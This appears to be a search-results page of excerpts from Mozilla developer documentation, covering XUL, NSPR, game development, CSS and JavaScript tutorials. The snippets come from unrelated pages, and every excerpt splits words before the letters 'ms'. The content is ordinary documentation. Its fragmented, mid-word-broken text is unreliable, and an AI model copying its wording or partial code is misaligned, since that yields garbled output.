mset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insimm(1), rec_ins); // compile the fragment.
... todo: explain guards, guard records, v
msideexit, fragmento, verbosewriter::formatguard...
Reading textual data - Archive of obsolete content
this article describes how to read textual data from strea
ms, files and sockets.
...not doing so can cause proble
ms if you try to rename or delete the file at a later time on some platfor
ms.
...it can be used like nsilineinputstream, except that it supports non-ascii characters, and has no proble
ms with charsets with embedded nulls (like utf-16 and utf-32).
Table Layout Regression Tests - Archive of obsolete content
execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed grep 'failed' selftest.txt (these are false positives, quite frequently they indicate reflow proble
ms, pages showing differently when loaded from cache) make your changes to the source, recompile.
...data="0 1 1.000000" /> <table data="0 0 4 -1 1 " /> <tableborder data="1 null null 0 2 " /> <content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-
msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
...a typical part of the verify log would look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-
msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
Abc Assembler Tests - Archive of obsolete content
* * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the ter
ms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
... if you wish to allow use of your version of this file only * under the ter
ms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the ter
ms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl.
... if you do not delete * the provisions above, a recipient may use your version of this file under * the ter
ms of any one of the mpl, the gpl or the lgpl.
Tamarin Acceptance Test Template - Archive of obsolete content
* * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the ter
ms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
... if you wish to allow use of your version of this file only * under the ter
ms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the ter
ms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl.
... if you do not delete * the provisions above, a recipient may use your version of this file under * the ter
ms of any one of the mpl, the gpl or the lgpl.
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
testing summary acceptance tests have passed on the following supported platfor
ms: * windows, 32 & 64 bit * mac ox x ppc & intel, 32 bit * linux, 32 bit * windows mobile arm version asc-4200 of the actionscript compiler was used for all tests.
... there is no linux comparison due to a linux me
mstat bug only recently resolved in the tamarin-central branch.
... buildsize flash10576k tc-700740k tc-703655k known issues known failures in the acceptance testsuite include: number failures in testsuite when running on linux windows mobile system.privatebytes and -me
mstats privatebytes always returns 0 amd64 longjmp hack needs reengineering on non-windows platfor
ms different runtime errors when -dforcemir set in acceptance test run arm: math failures running with thumb or arm jit and interp.
The new nsString class implementation (1999) - Archive of obsolete content
i won't repeat it's interface here since it is basically a restatement (in xpcom ter
ms) of the nsstring interface.
...the problem ste
ms from assumptions that programmers make regarding ascii strings; the typical assumption being that they will never need to interoperate with code that assumes ucs2 strings.
...the i18n folks will tell you it's better to use a wide string and convert to 1-byte for
ms for this purpose even though there is a performance penalty for doing so.
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanis
ms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications ...
...necko provides pre written urlparsers for schemes based on hierachical naming syste
ms.
... noteable differences necko does not support certain deprecated for
ms of relative urls, based on the following part of rfc 2396: if the scheme component is defined, indicating that the reference starts with a scheme name, then the reference is interpreted as an absolute uri and we are done.
Venkman Introduction - Archive of obsolete content
on other platfor
ms, including mac os and unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment.
...these ite
ms are referred to as stack frames.
... loading scripts into the debugger whether or not you start venkman first or the browser component, when the mozilla suite starts up, the javascript engine begins to keep track of and compile all the scripts that are loaded in web pages and in the various mozilla user interfaces the
mselves.
XBL - Archive of obsolete content
see also: xbl removal design review packet, proble
ms with xbl and the xbl and web components comparison.
... xbl 2.0 (w3c candidate recommendation) was developed to address proble
ms found in xbl 1.0 and to allow for implementations in a broader range of web browsers.
... community view mozilla foru
ms...
Learn XPI Installer Scripting by Example - Archive of obsolete content
in this article, we use the unix install file, but the installers for all the platfor
ms are quite similar, and you can easily take what you learn here and apply it to installations on any platform that mozilla supports.
..."program" represents the directory where software itself is installed (e.g., c:\program files\ on win32 syste
ms), as opposed to supporting directories like "components", "chrome", or "temporary" (see getfolder in the xpinstall api reference for a list of keywords).
...the browser.xpi install script does not demonstrate the use of these objects, but see the xpinstall api reference for more information about registering software with the win32 operating syste
ms and other operating syste
ms.
Writing to Files - Archive of obsolete content
to learn more about file objects, see files and strea
ms.
...the write32 method perfor
ms a similar operation except that the value 1000 is written using four bytes, padding the unused bits with zeroes.
...if you want to write a negative value, use the following calculation first to convert the value: function writenegative(val) { if (val > 0x7fff) val = ~(0x10000 - val - 1); stream.write16(val); } one last method that is useful for writing to binary strea
ms is the writebytearray method, used to write an array of bytes.
Namespaces - Archive of obsolete content
to quote wikipedia: "in general, a namespace is an abstract container providing context for the ite
ms ...
... it holds and allows disambiguation of ite
ms having the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept.
...together, these two ite
ms define a qualified name, or qname.
PopupKeys - Archive of obsolete content
this allows ite
ms within the menu to be navigated with the cursor keys.
...on linux and the macintosh, disabled ite
ms within the menu are skipped over when navigating with the cursor keys.
...if an access key is a pressed that does not correspond to an item within the menu, ite
ms that don't have access keys can be selected if the key pressed corresponds to the first letter of the label.
Building Menus With Templates - Archive of obsolete content
this means that a menu created with a template will not have any of the generated ite
ms until the user opens the menu, or a script opens the menu.
...when creating recursive menus, you will need to use multiple rules, since leaf ite
ms will need to be created differently than non-leaf ite
ms.
... leaf ite
ms will need to use a menuitem element whereas non-leaf ite
ms will need to use a menu element.
Introduction - Archive of obsolete content
some other syste
ms call this databinding.
...the template builder loads the datasource, perfor
ms a query on the datasource and generates content based on the results in combination with the template.
...the local store is a datasource which is usually used to hold state information such as window sizes, which columns in a tree are showing, and which tree ite
ms are open.
Template Logging - Archive of obsolete content
« previous debugging proble
ms with a template can be difficult as many proble
ms are logic errors that are often not possible to determine automatically.
...to summarize, the following for
ms of message may be logged: new active result for query 1 matching rule 2 a new data result has been added.
...future versions may include other features to make it easier to debug proble
ms with data loading.
Template and Tree Listeners - Archive of obsolete content
the tree widget infor
ms the view when certain operations are performed that might affect the data.
...in other situations, you may wish to allow ite
ms to be dragged between (before or after) rows.
... this would be the situation if you were dragging ite
ms from that tree around, for instance dragging a bookmark from one location to another.
Things I've tried to do with XUL - Archive of obsolete content
(to add insult, xul layout code *explicitly* tri
ms off '%' from width/height, thus treating it as pixels.) for reference, i'd like the following to give a vbox that resizes along with the window, with the green, red, and blue inside boxes always maintaining a 30%-20%-50% ratio to the height of the parent vbox.
... resize event proble
ms going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink content as needed -- as you grow the content, when you shrink the window, the content will simply be clipped (because now it has a bigger size than the window).
... multi-column listboxes when adding ite
ms to multi-column listboxes, you can't use the appenditem api: // auto-create and attach 1st cell var row = mylistbox.appenditem( label, value ); // create and attach 2nd cell var cell = document.createelement('listcell'); cell.setattribute('label', label2 ); cell.setattribute('value', value2 ); row.appendchild( cell ); // etc // ...
Accesskey display rules - Archive of obsolete content
basic accesskey display rules on non-mac platfor
ms, a character which is same as its accesskey is underlined.
...xul elements check "intl.menuite
ms.alwaysappendaccesskeys" pref value whether they should append accesskey text always.
...this is controled by "intl.menuite
ms.insertseparatorbeforeaccesskeys" pref value.
Advanced Rules - Archive of obsolete content
in rdf ter
ms, that means a container such a seq, bag or alt.
...this should be the content for the rows of the tree, menu ite
ms, or whatever content you want to generate.
...a binding in a rule has the same syntax as a triple and perfor
ms almost the same function.
Creating a Window - Archive of obsolete content
orient="horizontal" the orient attribute specifies the arrangement of the ite
ms in the window.
... the value horizontal indicates that ite
ms should be placed horizontally across the window.
... you may also use the value vertical, which means that the ite
ms are placed in a column.
Creating a Wizard - Archive of obsolete content
wizards will generally be displayed using custo
ms that are familiar to the user of a particular os.
...these buttons will enable and disable the
mselves at the appropriate moments.
...set it to a script which perfor
ms whatever task you want and then returns true.
Updating Commands - Archive of obsolete content
it will update the command and enable or disable necessary buttons and menu ite
ms.
...<commandset id="globaleditmenuite
ms" commandupdater="true" events="focus" oncommandupdate="goupdateglobaleditmenuite
ms()"/> <commandset id="selecteditmenuite
ms" commandupdater="true" events="select" oncommandupdate="goupdateselecteditmenuite
ms()"/> <commandset id="undoeditmenuite
ms" commandupdater="true" events="undo" oncomma...
...ndupdate="goupdateundoeditmenuite
ms()"/> <commandset id="clipboardeditmenuite
ms" commandupdater="true" events="clipboard" oncommandupdate="goupdatepastemenuite
ms()"/> next, we'll find out how to use observers.
XPCOM Examples - Archive of obsolete content
<script> function getcookies() { var menu = document.getelementbyid("cookiemenu"); menu.removeallite
ms(); var cookiemanager = components.classes["@mozilla.org/cookiemanager;1"] .getservice(components.interfaces.nsicookiemanager); var iter = cookiemanager.enumerator; while (iter.hasmoreelements()){ var cookie = iter.getnext(); if (cookie instanceof components.interfaces.nsicookie){ if (cookie.host == "www.mozillazine.org") menu.appenditem(cookie...
...the first two lines of getcookies() get the menulist and remove all of the existing ite
ms in the menu.
... this is done because getcookies() is called every time the menu is opened and we don't want to leave the old ite
ms there each time.
XUL Structure - Archive of obsolete content
the mozilla rendering engine takes the content in the form of html source and transfor
ms it into a document tree.
...however, there are some features that are specific to html, such as for
ms, and others which are specific to xul, such as overlays.
...for example, while the form controls on an html page are accessible via the document.for
ms property, this property isn't available for xul documents, since xul doesn't have for
ms in the html sense.
XUL controls - Archive of obsolete content
label reference <listbox> the listbox is used to select an item from a list of labelled ite
ms.
... radio reference related elements: radiogroup <richlistbox> the richlistbox displays a list of ite
ms where one or more may selected.
... toolbarbutton reference related elements: menupopup menuitem toolbar <tree> a tree displays a hierarchy of ite
ms in multiple columns.
button - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
...some platfor
ms display these buttons with a small icon indicating their usage.
...see the appearance of the different icons on some available platfor
ms.
separator - Archive of obsolete content
it is functionally equivalent to a spacer except it defaults to a small size (usually 1.5 e
ms).
...note that the values are the reverse of what see
ms more likely.
... thin a thinner separator, which is usually 0.5 e
ms.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
after some experimentation, the following see
ms to be the best way to speak soap in xulrunner.
... several alternatives were considered: soapclient 2.4 - this library contains a few javascript mistakes but nevertheless see
ms (fairly) widely used, mature and tested.
...(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var para
ms = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in para
ms) { body.appendchild(new soapobject(k).val(para
ms[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff be...
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete ite
ms.
...implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the modification of recurring caliite
ms.
...implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the deleting of recurring caliite
ms, in the case where aoccurrence is a single occurrence of a recurring caliitem.
2006-11-24 - Archive of obsolete content
building xpcom components with
msvs 2005 november 21st: buffaloaf is having trouble getting a personal xpcom component to work under xulrunner when compiled with
msvs 2005.
... luke is migrating all of his code to compile with vc8 and is having some proble
ms.
... luke wants to know if compiling xulrunner with a static crt is better or worse than compiling with the
mscvr80.dll dependency.
2006-12-01 - Archive of obsolete content
montessi posted a link to a bug that he hi
mself added to bugzilla.
...paul reed announced that: the server which perfor
ms the automatic autoconf/configure generation is back online.
...paul reed has also requested that if any proble
ms are encountered he should be contacted via irc in #build @ irc.mozilla.org.
NPN_RequestRead - Archive of obsolete content
seekable strea
ms are created by calling npp_newstream() with np_seek as the stype mode.
... the plug-in can call npn_requestread() on strea
ms that were not initially in np_seek mode as long as the stream is inherently seekable; npn_requestread() automatically changes the mode to np_seek.
... typically, the only strea
ms that are inherently seekable are those from in-memory or on-disk data, or from http servers that support byte-range requests.
NPP_HandleEvent - Archive of obsolete content
for windowless plug-ins: all platfor
ms.
...values:
ms windows: pointer to npevent structure mac os: pointer to a standard mac os eventrecord unix/x11: pointer to a standard xlib xevent for a list of possible events, see npevent.
...
ms windows the browser gives each windowed plug-in its own native window, often a child window of the browser window, to draw into.
SSL and TLS - Archive of obsolete content
both of these protocols support using a variety of different cryptographic algorith
ms, or ciphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys.
... key-exchange algorith
ms like rsa and elliptic curve cryptography (ecc) govern the way the server and client determine the symmetric keys to use during an ssl session.
... as pkis using rsa keys and certificates transition to other cryptographic syste
ms like ecc, servers should continue to support rsa.
Security - Archive of obsolete content
doing so may put your syste
ms at risk.
...but encryption and decryption, by the
mselves, do not address another problem: tampering.encryption and decryptionencryption is the process of transforming information so it is unintelligible to anyone but the intended recipient.
...ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platfor
ms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers.
Common Firefox theme issues and solutions - Archive of obsolete content
it is a companion document to the amo editors guide common theme proble
ms, which provides editors with "boilerplate" copy and paste review notes for common theme issues.
...please see the following threads on mozillazine for solutions to this issue: http://foru
ms.mozillazine.org/viewtopic.php?f=18&t=2131121 http://foru
ms.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly.
... amo themes forum we'd like to encourage you to participate in the amo (addons.mozilla.org) foru
ms theme forum.
Using IO Timeout And Interrupt On NT - Archive of obsolete content
due to a limitation of the present implementation of nspr io on nt, progra
ms must follow the following guideline: if a thread calls an nspr io function on a file descriptor and the io function fails with <tt>pr_io_timeout_error</tt> or <tt>pr_pending_interrupt_error</tt>, the file descriptor must be closed before the thread exits.
...progra
ms should also take care in sharing file descriptors and using io timeout or interrupt on files that need to stay open throughout the process.
...if these limitations with io timeout and interrupt are not acceptable to the needs of your progra
ms, you can consider using the win95 version of nspr.
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
btn_comments = new ext.button({ text: "submit", fieldlabel: "", handler: formhandler }); // create the form panel, attach the inputs form_comments = new ext.form.formpanel({ labelalign: "right", width: 400, title: "comments", ite
ms: [ txt_name, txt_email, txt_message, btn_comments ], renderto: "form-comments" }); }); </script> the code in listing 6 starts by hooking in the ext js library which is used to produce the ui elements of the form.
...t_message.getvalue(); // if the form passes validation client-side, submit results to the processor if( validatecomments( name, email, message ) ) { formprocessor( name, email, message ); // update the logger with the most recent entry document.getelementbyid( "out-logger" ).innerhtml += "name: " + name + "<br/>email: " + email + "<br/>message: " + message + "<br/><br/>"; } else { ext.
msg.alert( "error", "please enter the required fields" ); } } </script> <!-- processes the form contents --> <script runat="server"> function formprocessor( name, email, message ) { // perform the same validation of the data server-side if( !validatecomments( name, email, message ) ) { throw "incomplete data was submitted."; } // assemble the string var s = "name: " + name + "<br/>" + "ema...
...il: " + email + "<br/>" + "message: " + message + "<br/><br/>"; // append the entry to the log file jaxer.file.append( "dump.txt", s ); } formprocessor.proxy = true; </script> the first function, formhandler, perfor
ms some first-level validation using the validatecomments function.
Writing JavaScript for XHTML - Archive of obsolete content
this article shows some of the reasons alongside with strategies to remedy the proble
ms.
.../*]]>*/--></style> see this document for more on the issues related to application/xhtml+xml and text/html (at least as far as xhtml 1.* and html 4; html5 addresses many of these proble
ms).
...for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser = new domparser(); var documentfragment = parser.parsefro
mstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error.
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, foru
ms, or other communities related to xfor
ms, please link to them here.
... view mozilla foru
ms...
... mailing list newsgroup rss feed irc channel w3c for
ms mailinglist xfor
ms development blog ...
Examples - Game development
save the day fly your rescue chopper around the disaster area and save the stranded victi
ms (ga.me.) polycraft a shipwreck 'n survive game.
... bananabread a multiplayer, 3d first-person shooter game developed using e
mscripten, webgl, and webrtc.
... pyramid solitaire ancient egypt pyramid solitaire app ported to webassembly with e
mscripten assorted demos wavegl webgl visualizer for sound sources.
Introduction to game development for the Web - Game development
as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using e
mscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project.
...no more having customer feedback filtered through an app store's limited mechanis
ms.
...use its power to write the code for your game, or look at using technologies like e
mscripten or asm.js to easily port your existing games.
2D collision detection - Game development
algorith
ms to detect collision in 2d games depend on the type of shapes that can collide (e.g.
... axis-aligned bounding box one of the simpler for
ms of collision detection is between two rectangles that are axis aligned — meaning no rotation.
... implementing sat is out of scope for this page so see the recommended tutorials below: separating axis theorem (sat) explanation collision detection and response collision detection using the separating axis theorem sat (separating axis theorem) separating axis theorem collision performance while some of these algorith
ms for collision detection are simple enough to calculate, it can be a waste of cycles to test *every* entity with every other entity.
Desktop mouse and keyboard controls - Game development
previous overview: control mechanis
ms next now when we have our mobile controls in place and the game is playable on touch-enabled devices, it would be good to add mouse and keyboard support, so the game can be playable also on desktop.
... that way we can broaden the list of supported platfor
ms.
... previous overview: control mechanis
ms next ...
Mobile touch controls - Game development
overview: control mechanis
ms next the future of mobile gaming is definitely web, and many developers choose the mobile first approach in their game development process — in the modern world, this generally also involves implementing touch controls.
... touch events in phaser we don't have to do this on our own; frameworks like phaser offer syste
ms for managing touch events for us — see managing the touch events.
... overview: control mechanis
ms next ...
Unconventional controls - Game development
previous overview: control mechanis
ms having different control mechanis
ms in your game helps reach broader audiences.
...it could work similar to the doppler effect in ter
ms of manipulating the player's ship on the screen by moving your hand closer or further from the device.
... previous overview: control mechanis
ms ...
2D maze game with device orientation - Game development
el.enablebody = true; newlevel.physicsbodytype = phaser.physics.arcade; for(var e=0; e<this.leveldata[i].length; e++) { var item = this.leveldata[i][e]; newlevel.create(item.x, item.y, 'element-'+item.t); } newlevel.setall('body.immovable', true); newlevel.visible = false; this.levels.push(newlevel); } first, add.group() is used to create a new group of ite
ms.
...the newlevel.create method creates new ite
ms in the group with starting left and top positions, and its own image.
... if you don't want to loop through the list of ite
ms again to add a property to every single one explicitly, you can use setall on a group to apply it to all the ite
ms in that group.
Game development
port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should learn more about our e
mscripten tool — this is an llvm to javascript compiler, which takes llvm bytecode (e.g.
... to get started, see: about e
mscripten for an introduction including high-level details.
... e
mscripten tutorial for a tutorial to teach you how to get started.
Assessment: Accessibility troubleshooting - Learn web development
don't worry — you'll be fixing these proble
ms in the upcoming sections!
... the for
ms the <input> element in the search form at the top could do with a label, but we don't want to add a visible text label that would potentially spoil the design and isn't really needed by sighted users.
...can you make it keyboard accessible, both in ter
ms of focusing it using the tab key, and activating it using the return key?
Accessibility - Learn web development
wai-aria is a technology that can help with such proble
ms by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... accessible multimedia another category of content that can create accessibility proble
ms is multimedia — video, audio, and image content need to be given proper textual alternatives, so they can be understood by assistive technologies and their users.
... mobile accessibility with web access on mobile devices being so popular, and popular platfor
ms such as ios and android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platfor
ms.
Combinators - Learn web development
for example if we want to select list ite
ms with a class of "a", which are direct children of a <ul>, i could use the following.
...that said, your knowledge of combinators will come in very useful if you need to get to something in your document and are unable to access the html, perhaps due to it being generated by a c
ms.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: Grid Layout - Learn web development
this aim of this task is to get you working with css grid layout, and test that you understand how a grid and grid ite
ms behave.
... try updating the live code below to recreate the finished example: additional questions: can you now cause the first item to display on top without changing the order of ite
ms in the source?
...use the grid-area and grid-template-areas properties to lay the ite
ms out as shown in the image.
How CSS is structured - Learn web development
ook like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circu
mstances, internal stylesheets can be useful.
... there are a few circu
mstances where inline styles are more common.
...for example, perhaps your c
ms only allows you to edit the html body.
What text editors are available? - Learn web development
in general, of course, the linux/unix world is a pretty diverse place where different distros work with different, incompatible packaging syste
ms.
...the developers will give you an .exe or .
msi file.
...these instructions will help you specify that your os should open files in your preferred editor when you double-click them: windows windows 8 windows 7 older syste
ms mac os x linux ubuntu unity gnome kde next steps now that you have a good text editor, you could take some time to finalize your basic working environment, or, if you want to play with it right away, write your very first web page.
How can we design for all types of users? - Learn web development
> </body> </html> a percent-based css will look like this: body { font-size:100%; } /* 100% of the browser's base font size, so in most cases this will render as 16 pixels */ h1 { font-size:200%; } /* twice the size of the body, thus 32 pixels */ span.subheading { font-size:50%; } /* half the size of the h1, thus 16 pixels to come back to the original size */ the same problem expressed with e
ms: body { font-size:1em; } /* 1em = 100% of the browser's base font size, so in most cases this will render as 16 pixels */ h1 { font-size:2em; } /* twice the size of the body, thus 32 pixels */ span.subheading { font-size:0.5em; } /* half the size of the h1, thus 16 pixels to come back to the original size */ as you can see, the math quickly gets daunting when you have to keep track of the paren...
...if you have to cater to older browsers, you'll have to use e
ms and do a bit more math.
...imageoptim (mac), optipng (all platfor
ms), pngcrush (dos, unix/linux) online tools.
Common questions - Learn web development
this article discusses how it works, in broad ter
ms.
...these ter
ms are often a source of confusion for newcomers to the web, or are used incorrectly.
... html, css and javascript questions for common solutions to html/css/javascript proble
ms, try the following articles: use html to solve common proble
ms use css to solve common proble
ms use javascript to solve common proble
ms ...
The HTML5 input types - Learn web development
previous overview: for
ms next in the previous article we looked at the <input> element, covering the original values of the type attribute available since the early days of html.
...if you want more detail on browser support, you should consult our html for
ms element reference, and in particular our extensive <input> types reference.
... previous overview: for
ms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web for
ms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending for
ms through javascript property compatibility table for form widgets ...
Other form controls - Learn web development
previous overview: for
ms next we now look at the functionality of non-<input> form elements in detail, from other control types such as drop-down lists and multi-line text fields, to other useful form features such as the <output> element (which we saw in action in the previous article), and progress bars.
...html has two for
ms of drop down content: the select box, and the autocomplete box.
... previous overview: for
ms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web for
ms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending for
ms through javascript property compatibility table for form widgets ...
HTML basics - Learn web development
there is no reason not to set this and it can help avoid some proble
ms later on.
...the most common list types are ordered and unordered lists: unordered lists are for lists where the order of the ite
ms doesn't matter, such as a shopping list.
... ordered lists are for lists where the order of the ite
ms does matter, such as a recipe.
Storing the information you need — Variables - Learn web development
variables aren't the values the
mselves; they are containers for values.
...browsers recognize them as different code ite
ms, and so you'll get errors.
...there are many reasons why you'd want to do this, from security (if a third party script changed such values it could cause proble
ms) to debugging and code comprehension (it is harder to accidentally change values that shouldn't be changed and mess things up).
What went wrong? Troubleshooting JavaScript - Learn web development
never fear — this article ai
ms to save you from tearing your hair out over such proble
ms by providing you with some tips on how to find and fix errors in javascript progra
ms.
... objective: to gain the ability and confidence to start fixing proble
ms in your own code.
... summary so there we have it, the basics of figuring out errors in simple javascript progra
ms.
JavaScript First Steps - Learn web development
never fear — this article ai
ms to save you from tearing your hair out over such proble
ms by providing you with some simple tips on how to find and fix errors in javascript progra
ms.
... arrays in the final article of this module, we'll look at arrays — a neat way of storing a list of data ite
ms under a single variable name.
... here we look at why this is useful, then explore how to create an array, retrieve, add, and remove ite
ms stored in an array, and more besides.
Object prototypes - Learn web development
note: before ecmascript 2015, there wasn't officially a way to access an object's prototype directly — the "links" between the ite
ms in the chain are defined in an internal property, referred to as [[prototype]] in the specification for the javascript language (see ecmascript).
... note: this see
ms strange — how can you have a method defined on a constructor, which is itself a function?
... try this in the console: let person3 = new person1.constructor('karen', 'stephenson', 26, 'female', ['playing dru
ms', 'mountain climbing']); now try accessing your new object's features, for example: person3.name.first person3.age person3.bio() this works well.
Properly configuring server MIME types - Learn web development
this is a major source of proble
ms for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications.
... security some content types, such as executable progra
ms, are inherently unsafe.
... for this reason these mime types are usually restricted in ter
ms of what actions a web browser will take when given content of that type.
Ember resources and troubleshooting - Learn web development
while ember-data solves the most common proble
ms that any app dealing with data will run in to, it is possible to roll your own front-end data client.
...both of these try to solve the proble
ms of mut by introducing more obvious / "less magic" concepts, avoiding build-time transfor
ms and implicit glimmer vm behavior.
...controllers are (as of january 2020), the only way to manage url query para
ms.
Styling Vue components with CSS - Learn web development
{ #app { padding: 4rem; } } #app > * { max-width: 50rem; margin-left: auto; margin-right: auto; } #app > form { max-width: 100%; } #app h1 { display: block; min-width: 100%; width: 100%; text-align: center; margin: 0; margin-bottom: 1rem; } </style> if you check the app, you'll see that our todo list is now in a card, and we have some better formatting of our to-do ite
ms.
...this will help improve the spacing of our to-do ite
ms a bit.
...in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo ite
ms to our app.
Mozilla Plugin Accessibility
here is a rundown of proble
ms and the planned solutions: new!
... see the plugin keyboard navigation proposal to see how the largest proble
ms can be solved.
...a notable acception is the adobe pdf plugin on windows, which supports
msaa.
Frequently Asked Questions for Lightweight themes
what kind of computers and operating syste
ms do lightweight themes work with?
...this includes mac, linux, windows, and android platfor
ms.
...please review the ter
ms of service and conditions of use for authoritative and complete language.
Adding a new CSS property
then you need to change nscomputeddo
mstyle.cpp to implement the getcomputedstyle api.
... you'll need to add an entry in nscomputeddo
mstylepropertylist.h and then add a method (matching the method name in the css property list) to implement the api.
... while we implement the string api in ter
ms of the value api, we generally don't care much about the deprecated primitive value api, so in cases where there's some new structure, you should generally create the simplest structure of primitive values that will produce the right string.
Benchmarking
accelerated graphics especially on linux, accelerated graphics can sometimes lead to severe performance proble
ms even if things look ok visually.
... flash plugin if you are profiling real websites, you should disable the adobe flash plugin so you are testing firefox code and not flash jank proble
ms.
...they are currently reduce to a multiple of 2
ms; which is controlled by the privacy.reducetimerprecision about:config flag.
Debugging on Mac OS X
now, right click on the root item, select 'add files to "<project-name>"', select all the files and directories in your source directory, untick "copy ite
ms if needed", then click add.
... select "build" from the left of the scheme editor window, and check that there is nothing listed under targets (otherwise it may cause proble
ms when you try to run the executable for debugging since you will get build errors).
...proble
ms?
Updating NSPR or NSS in mozilla-central
the nspr and nss sources in mozilla-central are maintained by the nspr and nss tea
ms and always taken from exports of hg tags.
...if you check in an individual change by mistake, your change will be lost when the nspr and nss tea
ms push a new hg tag to mozilla-central.
... moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_
msg_error([you don't have nss installed or your version is too old])]) fi commit the update: $ hg commit -a in order to eliminate any proble
ms related to how nss and nspr are built differently in firefox than they are standalone, you should push your commit to try first.
SVG Guidelines
performance while svg provides a lot of flexibility in ter
ms of scaling, themability, etc.
... nested transfor
ms some editors use <g> tags to do nested transfor
ms, which is usually not needed.
... instead of using css/svg transfor
ms, apply directly the transform on the path/shape definition.
mach
if you don't use mach, you have to find another solution for the following proble
ms: discovering what commands or make targets are available (mach exposes everything through mach help while inside "mozilla-central" , else you'll just get a cryptic error message) making more sense out of command output (mach offers terminal colorization and structured logging) getting productive tools in the hands of others (mach "advertises" tools to people through mach help (unless it actu...
...there are no differences in ter
ms of how the build is performed (well, at least there should not be any ideally).
...instead, it ai
ms to expose that tooling through a common, shared interface.
Experimental features in Firefox
nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.for
